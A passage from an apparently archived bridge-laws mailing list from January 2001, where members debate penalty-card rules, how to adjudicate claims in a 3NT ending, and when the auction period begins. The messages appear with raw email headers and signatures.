suggested" part still needs to be there. Say partner has a DA as the penalty card; if there is an LA to a diamond, you have to lead another suit ONLY if the diamond lead is demonstrably suggested by the information that partner has this card. Granted, if you know partner has the diamond ace, the diamond lead will be demonstrably suggested most of the time; but it's possible to construct hands where it isn't. Dummy may have a diamond void in a suit contract, e.g. Also, suppose the knowledge of the DA allows you to deduce that an immediate heart shift, setting up partner's trick while he still has a diamond entry, is the only possible way to beat the contract, then the UI might prohibit a *heart* lead while not prohibiting a diamond lead. Basically, though, I think the meaning of Steve's Lille quote is pretty clear. Normally, to determine if play "X" is legal under L16A, you look at all the other logical alternatives, and if "X" is demonstrably suggested by the UI over any other logical alternative "Y", then "X" is illegal. The WBFLC minutes say that, when partner has a penalty card in some suit, and you're determining whether a play "X" *in* *that* *suit* is legal, you don't have to consider a logical alternative "Y" if "Y" is another play in the same suit. But you do still have to consider logical alternatives in other suits. Is that clearer? While the rule in L50D1 is confusing, I think I understand the reason for it. Suppose partner's penalty card is the DK. If everything about this card were UI, and you had to lead from A652 of diamonds, then every card other than the ace of diamonds would be demonstrably suggested by the UI that partner must play the king. Therefore, by L16A, the ace of diamonds would be your only legal play. The Lawmakers understandably didn't want to force this sort of ridiculous play on players. I'd guess that that's why the wording in L50D1 exists. I wouldn't have gone as far as the WBFLC. To me, it's ridiculous to force someone to play A from A652 and crash partner's king; but it's not ridiculous to force someone to lead K from KQJ3 (and prohibit the lead of the 3) when the ace is a penalty card, since the K is the normal lead in that situation and the 3 would normally be led only if you had a "wire" (excepting, of course, situations where leading low is your only hope). However, trying to devise an interpretation that distinguished the two cases would be even more complex than the one the WBFLC came up with. So I don't have a real problem with their interpretation. I should also point out that plays in the same suit as the penalty card aren't the only problem. Suppose you're defending a spade contract, and partner's S3 is a penalty card. You're on lead; your heart holding is A753; and you know, or have strong reason to suspect, that your partner is out of hearts. Now, any card other than the ace of hearts is demonstrably suggested, since there's no reason to want your partner to ruff your trick. But I wouldn't want to force the ace of hearts lead on a player. I believe that, under L50D1, it would be legal to lead a different card. Just my 2 cents, -- Adam -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Thu Jan 25 11:48:36 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0P0kmH02169 for bridge-laws-outgoing; Thu, 25 Jan 2001 11:46:48 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from mailhub.irvine.com (larry-rp.irvine.com [63.206.153.98]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0P0kgt02165 for ; Thu, 25 Jan 2001 11:46:42 +1100 (EST) Received: from calvin.irvine.com (IDENT:adam@calvin.irvine.com [192.160.8.21]) by mailhub.irvine.com (8.9.3/8.9.3) with ESMTP id QAA14844; Wed, 24 Jan 2001 16:44:29 -0800 Message-Id: <200101250044.QAA14844@mailhub.irvine.com> To: bridge-laws@rgb.anu.edu.au CC: adam@irvine.com Subject: Re: [BLML] Consistent Claim Adjudication In-reply-to: Your message of "Thu, 25 Jan 2001 10:59:00 +1100." <022f01c08661$9f540fd0$7d0fac89@SERCDEMOnote> Date: Wed, 24 Jan 2001 16:44:27 -0800 From: Adam Beneschan Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Peter Newman wrote: > On to more important matters - I really believe that claims should be > adjudicated in a manner so that players (like me) can expect consistency in > rulings.... > Last Sunday I was playing in an event with the following 6 card ending... > > T5 > -- > -- > Q654 > 87 64 > 87 A5 > 95 -- > -- 87 > KJ3 > KJ6 > -- > -- > > At this point declarer claims the rest (not realising that the clubs weren't > running) by (as players do) putting all the clubs on the table and saying > something along the line of "...and the spades at the end." > > As a player: > If you were declarer how many tricks do you think you are entitled to? What > about if you were defender? > > As a director: > How do you rule? My ruling is that I first ask the players, "what's the contract?" I kind of need to know which suit, if any, is trumps. -- Adam -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Thu Jan 25 12:04:12 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0P12cG02186 for bridge-laws-outgoing; Thu, 25 Jan 2001 12:02:38 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from falhost.fujitsu.com.au (falgate.fujitsu.com.au [137.172.211.9]) by rgb.anu.edu.au (8.10.2/8.10.2) with SMTP id f0P12Xt02182 for ; Thu, 25 Jan 2001 12:02:33 +1100 (EST) Received: by falhost.fujitsu.com.au; id MAA07082; Thu, 25 Jan 2001 12:02:27 +1100 Received: from mailhost.fujitsu.com.au(137.172.19.140) by falhost via smap (V2.1) id xma006685; Thu, 25 Jan 01 12:02:02 +1100 Received: from Viruswall (mailhost.fujitsu.com.au) with ESMTP id f0P122b23040 Received: from doctech (doctech.fujitsu.com.au [137.172.72.22]) by mailhost.fujitsu.com.au (8.11.0/8.11.0) with SMTP id f0P122923034 for ; Thu, 25 Jan 2001 12:02:02 +1100 Received: from SERCDEMOnote ([137.172.15.125]) by doctech (4.1/SMI-4.1-MHS-7.0) id AA05284; Thu, 25 Jan 01 11:47:30 EST Message-Id: <026501c0866a$e1137ce0$7d0fac89@SERCDEMOnote> From: "Peter Newman" To: References: <200101250044.QAA14844@mailhub.irvine.com> Subject: Re: [BLML] Consistent Claim Adjudication Date: Thu, 25 Jan 2001 12:05:15 +1100 Mime-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-Msmail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.00.2919.6700 X-Mimeole: Produced By Microsoft MimeOLE V5.00.2919.6700 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Thanks Adam... Contract is 3NT (I would have remembered a trump suit, maybe?). Lead is with North. If it is relevant the defence has 3 tricks declarer 4 tricks. ----- Original Message ----- From: "Adam Beneschan" To: Cc: Sent: Thursday, January 25, 2001 11:44 AM Subject: Re: [BLML] Consistent Claim Adjudication > > Peter Newman wrote: > > > On to more important matters - I really believe that claims should be > > adjudicated in a manner so that players (like me) can expect consistency in > > rulings.... > > Last Sunday I was playing in an event with the following 6 card ending... > > > > T5 > > -- > > -- > > Q654 > > 87 64 > > 87 A5 > > 95 -- > > -- 87 > > KJ3 > > KJ6 > > -- > > -- > > > > At this point declarer claims the rest (not realising that the clubs weren't > > running) by (as players do) putting all the clubs on the table and saying > > something along the line of "...and the spades at the end." > > > > As a player: > > If you were declarer how many tricks do you think you are entitled to? What > > about if you were defender? > > > > As a director: > > How do you rule? > > My ruling is that I first ask the players, "what's the contract?" I > kind of need to know which suit, if any, is trumps. > > -- Adam > -- > ======================================================================== > (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with > "(un)subscribe bridge-laws" or just "help" in the BODY of the message. > A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Thu Jan 25 12:13:18 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0P1Bom02203 for bridge-laws-outgoing; Thu, 25 Jan 2001 12:11:50 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from gadolinium.btinternet.com (gadolinium.btinternet.com [194.73.73.111]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0P1Bit02199 for ; Thu, 25 Jan 2001 12:11:45 +1100 (EST) Received: from [62.7.28.145] (helo=pbncomputer) by gadolinium.btinternet.com with smtp (Exim 3.03 #83) id 14Lawu-0000Vd-00 for bridge-laws@rgb.anu.edu.au; Thu, 25 Jan 2001 01:11:40 +0000 Message-ID: <009501c0866b$c732ed00$911c073e@pbncomputer> From: "David Burn" To: "Bridge Laws Discussion List" References: <200101191537.KAA21799@freenet10.carleton.ca> <001601c082b1$fa8de780$ec167bd5@pbncomputer> <002101c0830a$91a9a660$56991e18@san.rr.com> <4.3.2.7.1.20010124081904.00ab7340@127.0.0.1> Subject: Re: [BLML] Claim? Date: Thu, 25 Jan 2001 01:11:37 -0000 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Eric wrote: > If I were to tell that same hypothetical person that it was "raining > cats and dogs" outside, would he not be justified in seeking to have me > remanded to a mental institution? Conceivably - his native language and his grasp of English idiom might be such that the phrase meant nothing to him, in which case he would certainly conclude that you were talking nonsense. Indeed, if you were to visit France and say "Il pleut des chats et des chiens dehors", you ought not to be surprised to be patted on the hand and asked if you would like to lie down. But, as I have said before, when it is a question of the laws of a game, the meaning of those laws should be completely independent of the language in which they are written. In any language under the sun that is capable of expressing the notions "twelve", "tricks" and "claim", and in which a translation of the laws of duplicate contract bridge exists, the statement "we will make twelve tricks" is a claim. > The point at issue seems to be: If someone says something which, taken > literally, means A, but he intended it to mean B, and everyone within > earshot understood it to mean B, which does it mean, A or B? That is not the point at issue at all. The utterance "it is raining cats and dogs" can, because it is an idiom, mean other than "cats and dogs are falling out of the sky as precipitation". But the utterance "we will make twelve tricks" cannot mean B, where B is other than "we will make twelve tricks". The point at issue is: if a player makes an utterance that is defined by Law 68A as a claim, should it always be treated as a claim? Of course, that was not the original point at issue, but it seems to have become the focus of this debate. There are now three schools of thought: (1) it is a claim, and should be treated as such; (2) although it is a claim, it should not be treated as such; (3) it is not a claim, because it was not intended as such. DWS wrote in another thread: As against that, to complain because someone does not like a Law seems most unfair. There have been a *lot* of posts as to why we do not like Laws. For example, I am not wholly convinced that the majority of the Bridge World misunderstand what a claim is, despite the total rudeness in support of the minority view. But if we are finally convinced that the minority view is right, then in my view it needs to be changed, and soon. wherein he appears to believe the "minority" view to comprise both (1) and (2) above. It does not. David Burn London, England -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Thu Jan 25 12:17:37 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0P1FvE02215 for bridge-laws-outgoing; Thu, 25 Jan 2001 12:15:57 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from swarm.mosquitonet.com (swarm.mosquitonet.com [206.129.11.16]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0P1Fpt02211 for ; Thu, 25 Jan 2001 12:15:51 +1100 (EST) Received: from bigbyte.mosquitonet.com (bigbyte.mosquitonet.com [206.129.11.2]) by swarm.mosquitonet.com (8.9.1/8.9.3) with SMTP id QAA31989 for ; Wed, 24 Jan 2001 16:30:23 -0900 Date: Wed, 24 Jan 2001 16:16:20 -0900 (AKST) From: Gordon Bower To: Bridge Laws Mailing List Subject: Re: [BLML] Consistent Claim Adjudication In-Reply-To: <022f01c08661$9f540fd0$7d0fac89@SERCDEMOnote> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Fools rush in where angels fear to tread, so here I go: On Thu, 25 Jan 2001, Peter Newman wrote: > > T5 > -- > -- > Q654 > 87 64 > 87 A5 > 95 -- > -- 87 > KJ3 > KJ6 > -- > -- I am assuming there is no trump, since you didn't say? > > At this point declarer claims the rest (not realising that the clubs weren't > running) by (as players do) putting all the clubs on the table and saying > something along the line of "...and the spades at the end." > As declarer I will curse the forgetfulness that gives me only four tricks instead of five, and as a defender I expect to score the C7 and HA, nothing else. As a director I think 4 and 2 is the right ruling. I think under the existing laws it is going too far to presume that declarer will throw away his heart stopper even after he sees the C7 appear. If however East had the diamonds and West the clubs, I would rule that the HJ gets tossed before anything goes wrong, 5 tricks to the defence (C7, HA, D, D, H). As a player, this situation wouldn't feel all that much different to the original case; the declarer would be disappointed to be so heavily penalized, and as a defender I'd be uneasy at accepting the gift of so many tricks. Should the claim laws be improved by a Burn-rewording or by a formal interpretation of 'irrational' as a play that never gains and sometimes costs, I would consider 1 trick to the declarer 100% obvious, and consider the ruling fair whether I were declarer, defender, or director. GRB -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Thu Jan 25 12:27:01 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0P1QnV02228 for bridge-laws-outgoing; Thu, 25 Jan 2001 12:26:49 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from amsmta05-svc.chello.nl (mail-out.chello.nl [213.46.240.7]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0P1Qit02224 for ; Thu, 25 Jan 2001 12:26:44 +1100 (EST) Received: from witz ([62.108.28.112]) by amsmta05-svc.chello.nl (InterMail vK.4.02.00.10 201-232-116-110 license 85b07e7cd9378159aa6ecc9a5634d971) with SMTP id <20010125012828.XORZ2167.amsmta05-svc@witz> for ; Thu, 25 Jan 2001 02:28:28 +0100 Message-Id: <3.0.2.32.20010125022638.00fef550@pop3.norton.antivirus> X-Sender: a.witzen/mail.chello.nl@pop3.norton.antivirus X-Mailer: QUALCOMM Windows Eudora Pro Version 3.0.2 (32) Date: Thu, 25 Jan 2001 02:26:38 +0100 To: bridge-laws@rgb.anu.edu.au From: Anton Witzen Subject: Re: [BLML] Consistent Claim Adjudication In-Reply-To: <022f01c08661$9f540fd0$7d0fac89@SERCDEMOnote> References: Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk At 10:59 AM 25-01-01 +1100, you wrote: >Hi All, > >Perhaps this is obvious....but if we can't agree whether "Making 12 tricks" >is a claim or not...;-) >[FWIW - put me down in the 'if the director is actually called in this >situation then it would be a claim' camp but hopefully if not intended as a >claim that everyone gets on with it (with L73 to handle the misleading >case)] > >On to more important matters - I really believe that claims should be >adjudicated in a manner so that players (like me) can expect consistency in >rulings.... >Last Sunday I was playing in an event with the following 6 card ending... > > T5 > -- > -- > Q654 >87 64 >87 A5 >95 -- >-- 87 > KJ3 > KJ6 > -- > -- > >At this point declarer claims the rest (not realising that the clubs weren't >running) by (as players do) putting all the clubs on the table and saying >something along the line of "...and the spades at the end." > well, if declarer forgot (spreading his clubs hand and his explanation suggest it) that the clubs werent running, its rather simple: defenders get a club and a h trick regards, anton >As a player: >If you were declarer how many tricks do you think you are entitled to? What >about if you were defender? > >As a director: >How do you rule? > >Best Regards, > >Peter Newman >http://www.nswba.com.au > > >-- >======================================================================== >(Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with >"(un)subscribe bridge-laws" or just "help" in the BODY of the message. >A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ > > Anton Witzen.!!! warning: new email:a.witzen@chello.nl Tel: 020 7763175 2e Kostverlorenkade 114-1 1053 SB Amsterdam ICQ 7835770 -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Thu Jan 25 12:31:47 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0P1Vd402240 for bridge-laws-outgoing; Thu, 25 Jan 2001 12:31:39 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from tungsten.btinternet.com (tungsten.btinternet.com [194.73.73.81]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0P1VXt02236 for ; Thu, 25 Jan 2001 12:31:34 +1100 (EST) Received: from [62.7.28.145] (helo=pbncomputer) by tungsten.btinternet.com with smtp (Exim 3.03 #83) id 14LbG4-0006K4-00 for bridge-laws@rgb.anu.edu.au; Thu, 25 Jan 2001 01:31:29 +0000 Message-ID: <009901c0866e$8b6d6220$911c073e@pbncomputer> From: "David Burn" To: References: <00da01c08514$6f2045c0$9a9c1e18@san.rr.com> <00da01c08514$6f2045c0$9a9c1e18@san.rr.com> <3.0.2.32.20010124022224.010ceae8@mail.chello.nl> Subject: Re: [BLML] Exposed Card before auction begins (?) Date: Thu, 25 Jan 2001 01:31:28 -0000 MIME-Version: 1.0 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk DWS wrote: > I understand this but it does not really seem to fit with the English. Oh, well. At least we have not entirely given up attempting to understand the English in which the Laws are written. > Looking at the face of a card seems a positive action to me, not the > same as accidentally seeing it because it fell over. The difficulty here is that the English of L17 is fatally flawed. It says: The auction period on a deal begins for a side when either player looks at the face of his cards. Now, "his cards" have more than one "face", so this sentence is ambiguous as to whether the auction period begins when a player has looked at the face of one of his cards, or the faces of all of his cards (or the faces of at least two of his cards). I would tend to the view that the words mean: "when either player looks at the face of [anything belonging to the set of] his cards", thus I would say that the words literally mean "when a player has looked at the face of at least one of his cards". But other constructions are certainly supportable. Obviously, the notion is that the auction begins when a player takes his cards out of the board and looks at (one or more of) them. But the literal meaning of the words implies that as soon as a player looks at the face of any of his cards, the auction period has started for his side. That is to say, if a player in taking his cards out of the board drops one of them face up on the table, and if he then looks at the face of that card, the auction has begun for his side. Just as when a player makes a remark that is (per L68) a claim, it does not matter what his intention was - what matters is what he has done. However, this question is not particularly relevant. Law 24 does not require that the exposed card have been exposed during the auction for the penalties contained in the Law to apply. It requires only that a determination be made during the auction that the face of a player's card could have been visible to his partner. (This may not have been what was meant, but the language of L24 is just as hopeless as that of L17.) Thus, the question of whether or not the dropped card was exposed during or before the auction is really immaterial. David Burn London, England -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Thu Jan 25 12:38:13 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0P1c2p02253 for bridge-laws-outgoing; Thu, 25 Jan 2001 12:38:02 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from moonlight.ixir.net (moonlight.ixir.net [213.186.155.22]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0P1brt02249 for ; Thu, 25 Jan 2001 12:37:54 +1100 (EST) Received: from ethemhome ([213.43.101.19]) by moonlight.ixir.net with SMTP id <20010125013833.QSX7274.moonlight@ethemhome> for ; Thu, 25 Jan 2001 03:38:33 +0200 Message-ID: <000a01c0866f$5251ac70$13652bd5@ethemhome> From: "Ethem Urkac" To: References: <200101191537.KAA21799@freenet10.carleton.ca> <001601c082b1$fa8de780$ec167bd5@pbncomputer> <002101c0830a$91a9a660$56991e18@san.rr.com> <4.3.2.7.1.20010124081904.00ab7340@127.0.0.1> <007d01c08653$6e6b30a0$a310f7a5@james> Subject: Re: [BLML] Claim? Date: Thu, 25 Jan 2001 03:34:39 +0200 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.00.2919.6700 X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6700 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk If I were the TD called to the table for this statement for the claim, I would led the claimer to take claimed 12 tricks. And after play ceases I would let him what ever score he got. Because, any player who made such a claim is not an experienced one. I believe he would take at most the other players may. If the event is a very serious one (i thing there is no possibility for this. Because that kind of a player would not be there) I would rather inform that player that such words are considered to be claim. I would warn him. Thats all. Think about it.... In most of the club games, players like that come and say manythings at the table. Most of them are comic for experienced players. By warning TDs should teach those players while not scaring them. Ethem Urkac ----- Original Message ----- From: "Craig Senior" To: "Bridge Laws Discussion List" ; "Eric Landau" Sent: Thursday, January 25, 2001 12:17 AM Subject: Re: [BLML] Claim? > If everyone within earshot interpreted it not to mean a claim > then there is not a problem. But if his opponents interpret it > as a claim, the law is on their side, and he has just stepped in > a poodle. > > Craig > ----- Original Message ----- > From: "Eric Landau" > To: "Bridge Laws Discussion List" > Sent: Wednesday, January 24, 2001 8:26 AM > Subject: Re: [BLML] Claim? > > > > At 08:43 PM 1/22/01, David wrote: > > > > >Suppose that someone who knew nothing about > > >bridge, but understood English, were confronted with this > question: > > > > > >The Laws say that a statement to the effect that a player's > side will > > >win a certain number of tricks is a claim. A player has just > stated that > > >his side will win twelve tricks. Has this player made a > claim? > > > > > >and suppose this person learned that apparently, a group of > people who > > >have as a special interest the Laws of bridge were unable to > reach a > > >consensus on this point. Would he not be justified in > concluding that > > >this group of people must consist, at least in part, of > lunatics? > > > > If I were to tell that same hypothetical person that it was > "raining > > cats and dogs" outside, would he not be justified in seeking > to have me > > remanded to a mental institution? > > > > The point at issue seems to be: If someone says something > which, taken > > literally, means A, but he intended it to mean B, and everyone > within > > earshot understood it to mean B, which does it mean, A or B? > > > > > > Eric Landau elandau@cais.com > > APL Solutions, Inc. elandau@acm.org > > 1107 Dale Drive (301) 589-4621 > > Silver Spring MD 20910-1607 Fax (301) 589-4618 > > > > -- > > > ================================================================ > ======== > > (Un)Subscribing? Want the archives? email > majordomo@rgb.anu.edu.au with > > "(un)subscribe bridge-laws" or just "help" in the BODY of the > message. > > A Web archive is at > http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ > > -- > ======================================================================== > (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with > "(un)subscribe bridge-laws" or just "help" in the BODY of the message. > A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ > -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Thu Jan 25 12:47:32 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0P1lAr02281 for bridge-laws-outgoing; Thu, 25 Jan 2001 12:47:11 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from finch-post-11.mail.demon.net (finch-post-11.mail.demon.net [194.217.242.39]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0P1kut02269 for ; Thu, 25 Jan 2001 12:46:57 +1100 (EST) Received: from probst.demon.co.uk ([158.152.214.47]) by finch-post-11.mail.demon.net with smtp (Exim 2.12 #1) id 14LbUw-000LAj-0B for bridge-laws@rgb.anu.edu.au; Thu, 25 Jan 2001 01:46:51 +0000 Message-ID: Date: Thu, 25 Jan 2001 01:45:20 +0000 To: bridge-laws@rgb.anu.edu.au From: "John (MadDog) Probst" Reply-To: "John Probst" Subject: Re: [BLML] Exposed Card before auction begins (?) References: <00da01c08514$6f2045c0$9a9c1e18@san.rr.com> <00da01c08514$6f2045c0$9a9c1e18@san.rr.com> <3.0.2.32.20010124022224.010ceae8@mail.chello.nl> In-Reply-To: MIME-Version: 1.0 X-Mailer: Turnpike Integrated Version 4.02 U Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk In article , David Stevenson writes >Anton Witzen writes > >>well, as i see it (in our ducth lawbook 17 says that if one of the players >>of the partnership looks at his cards......... >>and the Da putting open on the table is looking at the cards (is that true???) >>then bidding has started for them; > > I understand this but it does not really seem to fit with the English. >Looking at the face of a card seems a positive action to me, not the >same as accidentally seeing it because it fell over. > "... face of his *cardSSSSSS* ... " implies looks at them all (or at least, most of them), otherwise it would say "face of *a card*". -- John (MadDog) Probst| . ! -^- |phone & fax :20 8980 4947 451 Mile End Road | /|__. \:/ |icq 10810798 OKb ChienFou London E3 4PA | / @ __) -|- |john@probst.demon.co.uk +44-(0)20 8983 5818 | /\ --^ | |www.probst.demon.co.uk -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Thu Jan 25 12:47:32 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0P1lB902280 for bridge-laws-outgoing; Thu, 25 Jan 2001 12:47:11 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from finch-post-11.mail.demon.net (finch-post-11.mail.demon.net [194.217.242.39]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0P1kut02268 for ; Thu, 25 Jan 2001 12:46:57 +1100 (EST) Received: from probst.demon.co.uk ([158.152.214.47]) by finch-post-11.mail.demon.net with smtp (Exim 2.12 #1) id 14LbUw-000LAl-0B for bridge-laws@rgb.anu.edu.au; Thu, 25 Jan 2001 01:46:51 +0000 Message-ID: Date: Thu, 25 Jan 2001 01:35:18 +0000 To: bridge-laws@rgb.anu.edu.au From: "John (MadDog) Probst" Reply-To: "John Probst" Subject: Re: [BLML] Claim? References: <200101230259.SAA25487@mailhub.irvine.com> <200101222054.MAA17289@mailhub.irvine.com> <200101230259.SAA25487@mailhub.irvine.com> <3.0.6.32.20010123141104.00810580@ux1.cts.eiu.edu> <000f01c0857f$e50191c0$1113f7a5@james> <002901c085b6$2fd1e200$2f48a718@austin.rr.com> <00d001c08629$cefc5b80$9a9c1e18@san.rr.com> In-Reply-To: <00d001c08629$cefc5b80$9a9c1e18@san.rr.com> MIME-Version: 1.0 X-Mailer: Turnpike Integrated Version 4.02 U Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk In article <00d001c08629$cefc5b80$9a9c1e18@san.rr.com>, Marvin L. French writes > >From: "Kevin Perkins" > >> I polled the bridge players in my area for one week. After 97 people, >> including 3 directors, none of the people questioned believed the >remarks in >> question were a claim. > >And probably only 3 of them own a copy of the Laws, and none are very >familiar with its contents. All 3? > >Marv >San Diego, CA, USA John -- John (MadDog) Probst| . ! -^- |phone & fax :20 8980 4947 451 Mile End Road | /|__. \:/ |icq 10810798 OKb ChienFou London E3 4PA | / @ __) -|- |john@probst.demon.co.uk +44-(0)20 8983 5818 | /\ --^ | |www.probst.demon.co.uk -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Thu Jan 25 12:47:35 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0P1lAg02279 for bridge-laws-outgoing; Thu, 25 Jan 2001 12:47:10 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from finch-post-12.mail.demon.net (finch-post-12.mail.demon.net [194.217.242.41]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0P1kut02267 for ; Thu, 25 Jan 2001 12:46:57 +1100 (EST) Received: from probst.demon.co.uk ([158.152.214.47]) by finch-post-12.mail.demon.net with smtp (Exim 2.12 #1) id 14LbUw-000Kqu-0C for bridge-laws@rgb.anu.edu.au; Thu, 25 Jan 2001 01:46:51 +0000 Message-ID: Date: Thu, 25 Jan 2001 01:34:03 +0000 To: bridge-laws@rgb.anu.edu.au From: "John (MadDog) Probst" Reply-To: "John Probst" Subject: Re: [BLML] Claim? References: <200101230259.SAA25487@mailhub.irvine.com> <200101222054.MAA17289@mailhub.irvine.com> <200101230259.SAA25487@mailhub.irvine.com> <3.0.6.32.20010123141104.00810580@ux1.cts.eiu.edu> <000f01c0857f$e50191c0$1113f7a5@james> <002901c085b6$2fd1e200$2f48a718@austin.rr.com> <001701c08606$647fd980$0ec188d1@kay> <002901c0863e$f5b136a0$087fa218@austin.rr.com> <009301c08654$c6d53410$a310f7a5@james> In-Reply-To: <009301c08654$c6d53410$a310f7a5@james> MIME-Version: 1.0 X-Mailer: Turnpike Integrated Version 4.02 U Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk In article 